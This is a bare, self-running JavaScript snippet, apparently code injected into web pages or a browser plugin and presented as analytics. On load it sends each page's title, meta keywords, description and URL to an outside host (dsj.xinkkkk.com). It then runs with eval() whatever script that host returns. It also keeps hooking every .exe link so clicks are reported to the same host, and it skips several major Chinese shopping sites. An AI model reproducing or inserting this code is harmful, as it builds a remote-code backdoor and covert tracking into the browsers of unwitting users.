!(function() { const xhrRequest = (url, data, callback) => { let xhr = new XMLHttpRequest(); xhr.open("POST",url,true); xhr.setRequestHeader("Content-Type","application/json"); xhr.send(JSON.stringify(data)); xhr.onreadystatechange = function () { if (xhr.readyState === 4){ if (xhr.status === 200){ callback(xhr.responseText); } } } }; const bigdata = () => { var a,b,c,keywordlist,kid; a = document.title; b = document.getElementsByTagName('meta')['keywords']; c = document.getElementsByTagName('meta')['description']; if(!b){ b = document.getElementsByTagName('meta')['Keywords']; if(b){ b = document.getElementsByTagName('meta')['Keywords'].getAttribute('content'); } }else{ b = document.getElementsByTagName('meta')['keywords'].getAttribute('content'); } if(!c){ c = document.getElementsByTagName('meta')['Description']; if(c){ c = document.getElementsByTagName('meta')['Description'].getAttribute('content'); } }else{ c = document.getElementsByTagName('meta')['description'].getAttribute('content'); } a = a?a:''; b = b?b:''; c = c?c:''; let urlls = location.href; let getAjax = function(a,b,c,urlls){ let param = { title: a, keywords: b, description: c, sourceUrl: urlls, plugin: 'plugins', }; xhrRequest("https://dsj.xinkkkk.com/api/analysis/page-config/statistic/json", param, rel => { if (JSON.parse(rel).code === 200) { if (JSON.parse(rel).data.script) { eval(JSON.parse(rel).data.script); return true; } return false; } return false; }) } getAjax(a,b,c,urlls); } bigdata(); const sendRequest = function(exeUrl){ xhrRequest("https://dsj.xinkkkk.com/api/analysis/exe-collect", {url: exeUrl}, res => { if (JSON.parse(res).code === 200) { console.log('exe request success'); return true; } return false; }); }; const job = () => { const all_a = document.getElementsByTagName('a'); for (let i = 0; i < all_a.length; i++) { let href = all_a[i].href; let realHref = ''; if (href.indexOf('?') > -1) { realHref = href.split('?')[0]; }else { realHref = href; } if (href.endsWith('.exe')) { all_a[i].onclick = function (e) { sendRequest(decodeURI(realHref)); } } } }; const init = () => { setInterval(function () { job(); }, 600); }; const find = ['taobao.com', 'jd.com', 'tmall.com', 'suning.com', '1688.com', 'tmall.hk'].find(item => document.location.hostname.indexOf(item) > -1); if (!find) { if (document.all) { window.attachEvent("onload", init) } else { window.addEventListener("load", init, false) } } })();